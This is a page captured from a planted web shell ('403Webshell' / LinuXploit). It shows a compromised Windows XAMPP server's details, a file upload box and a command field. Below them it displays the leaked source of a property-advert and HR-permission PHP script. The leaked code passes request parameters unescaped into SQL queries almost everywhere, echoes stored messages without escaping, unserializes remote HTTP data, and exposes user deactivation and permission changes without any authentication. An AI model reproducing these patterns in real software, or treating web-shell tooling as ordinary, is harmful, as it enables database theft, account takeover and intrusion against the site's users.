403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.48
Web Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
System : Windows NT DESKTOP-3H4FHQJ 10.0 build 19045 (Windows 10) AMD64
User : win 10 ( 0)
PHP Version : 8.2.12
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  D:/xampp/htdocs-khalafsons/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : D:/xampp/htdocs-khalafsons/khalaf_auto.php
<?php
session_start();
include('db_con.php'); 
$status = $_GET['status'];
?>

<?php 
  
$curr_date = date("d"); 
$curr_month = date("m"); 
$curr_year = date("Y"); 

?> 
<input type="" value="<?php echo"$curr_date"; ?>" style="display:none;" />
<input type="" value="<?php echo"$curr_month"; ?>" style="display:none;" />
<input type="" value="<?php echo"$curr_year"; ?>" style="display:none;" />


 <?php
$user_ip = getenv('REMOTE_ADDR');
$geo = unserialize(file_get_contents("http://www.geoplugin.net/php.gp?ip=$user_ip"));
$city = $geo["geoplugin_city"];
$region = $geo["geoplugin_regionName"];
$country = $geo["geoplugin_countryName"];
/*echo"$user_ip";
echo "City: ".$city."<br>";
echo "Region: ".$region."<br>";
echo "Country: ".$country."<br>";
/*
geoplugin_request
geoplugin_status
geoplugin_credit
geoplugin_city
geoplugin_region
geoplugin_areaCode
geoplugin_dmaCode
geoplugin_countryCode
geoplugin_countryName
geoplugin_continentCode
geoplugin_latitude
geoplugin_longitude
geoplugin_regionCode
geoplugin_regionName
geoplugin_currencyCode
geoplugin_currencySymbol
geoplugin_currencySymbol_UTF8
geoplugin_currencyConverter
*/
?>

<?php

if($status =='search_advert_disp')
{

	$search_description = $_GET['search_description'];
	$search_location = $_GET['search_location'];
	$search_furniture = $_GET['search_furniture'];
	$search_bedroom = $_GET['search_bedroom'];
	
	
if($search_description !=="Building Type" ){
		
  $get_bd_type ="select * from buliding_type where description='$search_description' ";

  
  $run_bd_type = mysqli_query($con,$get_bd_type);
  while($row_bd_type = mysqli_fetch_array($run_bd_type))
  {
	$post_id = $row_bd_type['id'];
	$building_name_type = $row_bd_type['buliding_name']; 
	
//echo"<div>xxxx$building_name_type</div>xxx";

 ///} 
 //echo "Sorry, but we can not find an entry to match your query<br><br>";
 
 if($search_description !=="Building Type" AND $search_location !=="Select Location" AND $search_furniture !=="Furniture Status" AND $search_bedroom !=="Select Bedroom"){
 $get_advert ="select * from adverttb where building_name ='$building_name_type' AND location ='$search_location' AND furniture='$search_furniture' AND bedroom_no='$search_bedroom'"; 
 }
 
  if($search_description !=="Building Type" AND $search_location !=="Select Location" AND $search_furniture !=="Furniture Status" AND $search_bedroom =="Select Bedroom"){
 $get_advert ="select * from adverttb where building_name ='$building_name_type' AND location ='$search_location' AND furniture='$search_furniture'"; 
 }
 
   if($search_description !=="Building Type" AND $search_location !=="Select Location" AND $search_furniture =="Furniture Status" AND $search_bedroom =="Select Bedroom"){
 $get_advert ="select * from adverttb where building_name ='$building_name_type' AND location ='$search_location'"; 
 }

   if($search_description !=="Building Type" AND $search_location =="Select Location" AND $search_furniture =="Furniture Status" AND $search_bedroom =="Select Bedroom"){
 $get_advert ="select * from adverttb where building_name ='$building_name_type'";
 }
 
  if($search_description !=="Building Type" AND $search_location =="Select Location" AND $search_furniture !=="Furniture Status" AND $search_bedroom =="Select Bedroom"){
 $get_advert ="select * from adverttb where building_name ='$building_name_type' AND furniture='$search_furniture'"; 
 }
 
  if($search_description !=="Building Type" AND $search_location =="Select Location" AND $search_furniture =="Furniture Status" AND $search_bedroom !=="Select Bedroom"){
 $get_advert ="select * from adverttb where building_name ='$building_name_type' AND bedroom_no='$search_bedroom'"; 
 }

  
//  $get_advert ="select * from adverttb where building_name like'$building_name_type%' OR location like'$search_location%'";// AND furniture='$search_furniture' AND bedroom_no='$search_bedroom'";
 
  // $get_advert ="select * from adverttb where location like'%$search_location%' AND furniture like'%$search_furniture%' ";// AND bedroom_no='$search_bedroom'";

 
 $run_advert = mysqli_query($con,$get_advert);
  while($row_advert = mysqli_fetch_array($run_advert))
  {
	$post_id = $row_advert['id'];
	$building_name = $row_advert['building_name'];  
	$location = $row_advert['location']; 
	$bedroom = $row_advert['bedroom_no'];
	$bathroom = $row_advert['bathroom_no'];
	$furniture = $row_advert['furniture'];
	$image_url = $row_advert['image_url']; 
// echo"vv$furniture";

?>

<div class="single_ad_div" >
<img onClick="show_more_advert_images();" src="advert_images/<?php echo"$image_url"; ?>" class="advert_images" />
<div class="single_ad_name" ><?php echo"$building_name"; ?></div>
<div class="single_ad_location" >
<img src="kvt_con/location_icon2.png" width="30px" height="30px;" style="float:left;margin-top:5px;" />
<?php echo"$location"; ?>
</div>
<!--div class="single_ad_location" ><?php echo"$location"; ?></div-->

<div class="single_ad_bedroom" > 
<img src="kvt_con/bedroom_icon.png" width="40px" height="30px;" style="float:left;" />
<span style="float:left;width:30px;height:30px;line-height:40px;color:#5DADE2;margin-left:10px;backgroundk:green;"><?php echo"$bedroom"; ?></span>
<img src="kvt_con/bathroom_icon.png" width="40px" height="30px;" style="float:left;margin-left:20px;" />
<span style="float:left;width:30px;height:30px;line-height:40px;color:#5DADE2;margin-left:10px;backgroundk:green;"><?php echo"$bathroom"; ?></span>
</div>

<div class="single_furnished" ><?php echo"$furniture"; ?></div>
<!--a href="extraction.php?ad_id=<?php //echo"$post_id";?>" ><button>Add Image</button></a-->

</div>

<?php
 } 
 }
 }else{

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



 if($search_description =="Building Type" AND $search_location !=="Select Location" AND $search_furniture !=="Furniture Status" AND $search_bedroom !=="Select Bedroom"){
 $get_advert ="select * from adverttb where location ='$search_location' AND furniture='$search_furniture' AND bedroom_no='$search_bedroom'"; 
 }
 
  if($search_description =="Building Type" AND $search_location =="Select Location" AND $search_furniture !=="Furniture Status" AND $search_bedroom !=="Select Bedroom"){
 $get_advert ="select * from adverttb where furniture='$search_furniture' AND bedroom_no='$search_bedroom'"; 
 }
 
   if($search_description =="Building Type" AND $search_location !=="Select Location" AND $search_furniture =="Furniture Status" AND $search_bedroom !=="Select Bedroom"){
 $get_advert ="select * from adverttb where location ='$search_location' AND bedroom_no = '$search_bedroom'"; 

 }
 
  if($search_description =="Building Type" AND $search_location =="Select Location" AND $search_furniture == "Furniture Status" AND $search_bedroom !=="Select Bedroom"){
 $get_advert ="select * from adverttb where  bedroom_no = '$search_bedroom'"; 
 }
 
   if($search_description =="Building Type" AND $search_location =="Select Location" AND $search_furniture !== "Furniture Status" AND $search_bedroom =="Select Bedroom"){
 $get_advert ="select * from adverttb where  furniture = '$search_furniture'"; 

 }
 
    if($search_description =="Building Type" AND $search_location !=="Select Location" AND $search_furniture == "Furniture Status" AND $search_bedroom =="Select Bedroom"){
 $get_advert ="select * from adverttb where  location = '$search_location'"; 

 }
 
 
 


 
 $run_advert = mysqli_query($con,$get_advert);
  while($row_advert = mysqli_fetch_array($run_advert))
  {
	$post_id = $row_advert['id'];
	$building_name = $row_advert['building_name'];  
	$location = $row_advert['location']; 
	$bedroom = $row_advert['bedroom_no'];
	$bathroom = $row_advert['bathroom_no'];
	$furniture = $row_advert['furniture'];
	$image_url = $row_advert['image_url']; 


?>

<div class="single_ad_div" >
<img onClick="show_more_advert_images();" src="advert_images/<?php echo"$image_url"; ?>" class="advert_images" />
<div class="single_ad_name" ><?php echo"$building_name"; ?></div>
<div class="single_ad_name" ><?php echo"$location"; ?></div>

<div class="single_ad_bedroom" > 
<img src="kvt_con/bedroom_icon.png" width="40px" height="30px;" style="float:left;" />
<span style="float:left;width:30px;height:30px;line-height:40px;color:#5DADE2;margin-left:10px;backgroundk:green;"><?php echo"$bedroom"; ?></span>
<img src="kvt_con/bathroom_icon.png" width="40px" height="30px;" style="float:left;margin-left:20px;" />
<span style="float:left;width:30px;height:30px;line-height:40px;color:#5DADE2;margin-left:10px;backgroundk:green;"><?php echo"$bathroom"; ?></span>
</div>

<div class="single_furnished" ><?php echo"$furniture"; ?></div>
<!--a href="extraction.php?ad_id=<?php //echo"$post_id";?>" ><button>Add Image</button></a-->

</div>

<?php } 


}

}


?>
<?php
if($status =='insert_new_message')
{
	$user_id = $_GET['user_id'];
	$my_id = $_GET['my_id'];
	$message_new = $_GET['message_new'];
	$message_new = mysqli_real_escape_string($con,$message_new);
	$insert_message ="insert into khalaf_messagetb (my_id,user_id,message,curr_date,curr_time) values ('$my_id','$user_id','$message_new',CURDATE(),CURTIME() )";
	$run_insert_message = mysqli_query($con,$insert_message);
}


?>  
<?php
if($status =='display_message')
{
	$user_id = $_GET['user_id'];
	$my_id = $_GET['my_id'];

?>

<div class="user_message_body">

<?php

	$get_message ="select * from khalaf_messagetb where my_id='$my_id' AND user_id='$user_id' OR my_id='$user_id' AND user_id='$my_id'";
	$run_get_message = mysqli_query($con,$get_message);
	while($row_get_message = mysqli_fetch_array($run_get_message))
	
	{
		$message = $row_get_message['message'];
		$my_id_sms = $row_get_message['my_id'];
		$user_id_sms = $row_get_message['user_id'];

    if($my_id_sms == $my_id){    
?>

<div class="message_to"> <div class="final_message_to"><?php echo"$message"; ?> </div></div>

	<?php }elseif($user_id_sms == $my_id){ ?>
	
<div class="message_from"> <div class="final_message_from"><?php echo"$message"; ?></div></div>



	<?php } } ?>

</div>


<?php
}


?>
<?php
if($status =='insert_user_call_agent')
{
	$user_id = $_GET['user_id'];
    $my_ip = $_GET['my_ip'];
	
	$get_user_call ="select * from agent_calltb where my_ip='$my_ip' AND user_id='$user_id' ";
	$run_user_call = mysqli_query($con,$get_user_call);
	$check_user_call = mysqli_num_rows($run_user_call);
	
	if($check_user_call <1){


  $insert_agent_call ="insert into agent_calltb (my_ip,user_id,country,city,curr_date,curr_time) values('$my_ip','$user_id','$country','$city',CURDATE(),CURTIME() )";
  $run_agent_call = mysqli_query($con,$insert_agent_call);
  if(!$run_agent_call){echo"<div style='float:left;width:100%;text-align:center;font-size:1.1em;color:red;'>Something Went Wrong,Data Not Saved</div>";}
 	
}

}

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if($status =='insert_new_emp_maint')
{
    $my_cpr = $_GET['my_cpr'];
	$employee_cpr = $_GET['employee_cpr'];
	
	$get_agent ="select * from khalaf_usertb where user_cpr='$employee_cpr'";
	$run_get_agent = mysqli_query($con,$get_agent);
	$check_user_cpr = mysqli_num_rows($run_get_agent);

if($check_user_cpr <1){echo"Check Your CPR no. And Try again.";}else{
	
	
	$permission_status = $_GET['permission_status'];
	$insert_maint_emp ="insert into mainttb(my_id,employee_cpr,permission_status,country,city,curr_day,curr_month,curr_year,curr_time)
	values('$my_cpr','$employee_cpr','$permission_status','$country','$city','$curr_date','$curr_month','$curr_year',CURTIME() )";
	$run_insert_maint_emp = mysqli_query($con,$insert_maint_emp);
    echo"<span style='color:green'>New Employee Added</span>";

}	
}

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if($status=='display_emp_maint')
{
	$disp_maint_emp ="select * from mainttb ";
	$run_disp_maint_emp = mysqli_query($con,$disp_maint_emp);
	while($row_disp_maint_emp = mysqli_fetch_array($run_disp_maint_emp))
	{
	$emp_cpr = $row_disp_maint_emp['employee_cpr'];	
	$permission_status = $row_disp_maint_emp['permission_status'];	
	
	$get_user ="select * from khalaf_usertb where user_cpr='$emp_cpr' ";
	$run_get_user = mysqli_query($con,$get_user);
	while($row_get_user = mysqli_fetch_array($run_get_user))
	
	{
		$user_fname = $row_get_user['first_name'];
		$user_lname = $row_get_user['last_name'];
		//$user_image = $row_get_user['image_url'];
		//$user_tel = $row_get_user['contact'];	
?>
<div class="emp_maint_name" ><?php echo"$user_fname";echo" ";echo"$user_lname";  ?></div>
<div class="emp_maint_permission"><?php echo"$permission_status";   ?></div>
<button onClick="show_remove_btn(this.name);" name="<?php echo"$emp_cpr";?>" class="emp_maint_remove_btn">...</button>

<?php
		
	}
	
	}
}



///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if($status =='change_maint_emp_permission')
{
	$main_emp_emp_id = $_GET['main_emp_emp_id'];
	$maint_select_action = $_GET['maint_select_action'];
	if($maint_select_action =='Delete'){
       $del_emp_maint ="delete from mainttb where employee_cpr='$main_emp_emp_id' ";
       $run_del_emp_maint = mysqli_query($con,$del_emp_maint);
}else{
	$update_emp_maint ="update mainttb set permission_status='$maint_select_action' where employee_cpr='$main_emp_emp_id' ";
    $run_update_emp_maint = mysqli_query($con,$update_emp_maint);	
}}

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if($status =='disp_all_members')
{
	$get_member ="select * from khalaf_usertb order by id desc ";
	$run_member = mysqli_query($con,$get_member);
	while($row_member = mysqli_fetch_array($run_member))
	{
	$member_fname = $row_member['first_name'];
    $member_lname = $row_member['last_name'];		
	$member_contact = $row_member['contact'];	
	$member_cpr = $row_member['user_cpr'];	
	$member_date = $row_member['curr_date'];
	if($member_cpr !==""){
?>

<div class="disp_member_output_div" ondblclick="deactivate_user_now();" style="background:#fff;color:#35D107" >
<div class="disp_member_output_name" ><?php echo $member_fname;echo" ";echo $member_lname; ?></div>
<div class="disp_member_output" ><?php echo $member_contact; ?></div>
<div class="disp_member_output" ><?php echo $member_cpr; ?></div>
<div class="disp_member_output" ><?php echo $member_date; ?></div>
</div>

<?php }else{  ?>

<div class="disp_member_output_div" ondblclick="activate_user_now();" style="background:#fff;color:red;" >
<div class="disp_member_output_name" ><?php echo $member_fname;echo" ";echo $member_lname; ?></div>
<div class="disp_member_output" ><?php echo $member_contact; ?></div>
<div class="disp_member_output" ><?php echo $member_cpr; ?></div>
<div class="disp_member_output" ><?php echo $member_date; ?></div>
</div>

<?php } } }


//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if($status =='activate_new_user')
{
	$user_contact_actv = $_GET['user_contact_actv'];
	$user_cpr_actv = $_GET['user_cpr_actv'];
	
	$get_member_ac ="select * from khalaf_usertb where user_cpr='$user_cpr_actv' ";
	$run_member_ac = mysqli_query($con,$get_member_ac);
	$check_member_ac = mysqli_num_rows($run_member_ac);
	
	if($check_member_ac >0){echo"The Entered Id No Already In Use!";}else{
	
	$get_member ="select * from khalaf_usertb where contact='$user_contact_actv' ";
	$run_member = mysqli_query($con,$get_member);
	$check_member = mysqli_num_rows($run_member);
	
	if($check_member >0){
		
	while($row_member = mysqli_fetch_array($run_member))
	{
	$member_cpr = $row_member['user_cpr'];
	
	if($member_cpr !==""){
		echo"This Member is Already Active.";
		}else{
	
	//if($member_cpr =="$user_cpr_actv"){echo"Id no already in use!";}else{
	//echo"$member_cpr";
	$update_member ="update khalaf_usertb set user_cpr='$user_cpr_actv' where contact='$user_contact_actv' ";
	$run_update_member = mysqli_query($con,$update_member);
	//}
	} }
	}else{ echo"Check Your Contact And Try Again."; }
	
}
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if($status =='deactivate_user_now')
{
	//$user_contact_deactv = $_GET['user_contact_deactv'];
	$user_cpr_deactv = $_GET['user_cpr_deactv'];
	$deactive_member ="update khalaf_usertb set user_cpr='' where user_cpr='$user_cpr_deactv'";
	$run_deactive_member = mysqli_query($con,$deactive_member);
	
}

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if($status =='insert_notif')
{
	/*
	$get_member ="select * from khalaf_usertb ";
	$run_member = mysqli_query($con,$get_member);
	while($row_member = mysqli_fetch_array($run_member))
	{
	$member_fname = $row_member['first_name'];
	
	$insert_kvt ="insert into notiftb(kvtt,pool) values('$member_fname','katend')";
	$run_not = mysqli_query($con,$insert_kvt);
	
	
	}*/
}


/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if($status =='complaint_notif_disp')
{
	$my_cpr = $_GET['my_cpr'];
	$get_complaint_notif ="select * from notiftb where user_cpr='$my_cpr' ";
	$run_get_notif = mysqli_query($con,$get_complaint_notif);
	$check_get_notif = mysqli_num_rows($run_get_notif);
	if($check_get_notif >0){
	echo"<div class='complaint_notif' >$check_get_notif</div>";
	}
}

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if($status =='clear_complaint_notif')
{
	$my_cpr = $_GET['my_cpr'];
	
	$del_complaint_notif ="delete from notiftb where user_cpr='$my_cpr' ";
	$run_complaint_notif = mysqli_query($con,$del_complaint_notif);
	
}	



/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if($status =='insert_new_emp_hr')
{
    $my_cpr = $_GET['my_cpr'];
	$hr_employee_cpr = $_GET['hr_employee_cpr'];
	
	$get_agent ="select * from khalaf_usertb where user_cpr='$hr_employee_cpr'";
	$run_get_agent = mysqli_query($con,$get_agent);
	$check_user_cpr = mysqli_num_rows($run_get_agent);

if($check_user_cpr <1){echo"Check Your CPR no. And Try again.";}else{
	
	$hr_permission_status = $_GET['hr_permission_status'];
	
	
    $check_hr_emp ="select * from khalaf_hrtb where employee_cpr='$hr_employee_cpr' ";
	$run_check_hr_emp = mysqli_query($con,$check_hr_emp);
	$final_hr_check = mysqli_num_rows($run_check_hr_emp);
	if($final_hr_check >0){echo"This Account Already Exists.";}else{
	
	$insert_hr_emp ="insert into khalaf_hrtb(my_id,employee_cpr,permission_status,country,city,curr_day,curr_month,curr_year,curr_time)
	values('$my_cpr','$hr_employee_cpr','$hr_permission_status','$country','$city','$curr_date','$curr_month','$curr_year',CURTIME() )";
	$run_insert_hr_emp = mysqli_query($con,$insert_hr_emp);
echo"<span style='color:green'>New Employee Added</span>";

}	
}
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if($status=='display_emp_hr')
{
	$disp_hr_emp ="select * from khalaf_hrtb ";
	$run_disp_hr_emp = mysqli_query($con,$disp_hr_emp);
	while($row_disp_hr_emp = mysqli_fetch_array($run_disp_hr_emp))
	{
	$emp_cpr = $row_disp_hr_emp['employee_cpr'];	
	$permission_status = $row_disp_hr_emp['permission_status'];	
	
	$get_user ="select * from khalaf_usertb where user_cpr='$emp_cpr' ";
	$run_get_user = mysqli_query($con,$get_user);
	while($row_get_user = mysqli_fetch_array($run_get_user))
	
	{
		$user_fname = $row_get_user['first_name'];
		$user_lname = $row_get_user['last_name'];
		//$user_image = $row_get_user['image_url'];
		//$user_tel = $row_get_user['contact'];	
?>
<div class="emp_maint_name" ><?php echo"$user_fname";echo" ";echo"$user_lname";  ?></div>
<div class="emp_maint_permission"><?php echo"$permission_status";   ?></div>
<button onClick="show_hr_permission_option(this.name);" name="<?php echo"$emp_cpr";?>" class="emp_maint_remove_btn">...</button>

<?php
		
	}
	
	}
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if($status =='save_hr_emp_permission')
{
	$my_cpr = $_GET['my_cpr'];
	$hr_select_action = $_GET['hr_select_action'];
	if($hr_select_action =='Delete'){
       $del_emp_hr ="delete from khalaf_hrtb where employee_cpr='$my_cpr' ";
       $run_del_emp_hr = mysqli_query($con,$del_emp_hr);
}else{
	$update_emp_hr ="update khalaf_hrtb set permission_status='$hr_select_action' where employee_cpr='$my_cpr' ";
    $run_update_emp_hr = mysqli_query($con,$update_emp_hr);	
}
}

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////












?>




Youez - 2016 - github.com/yon3zu
LinuXploit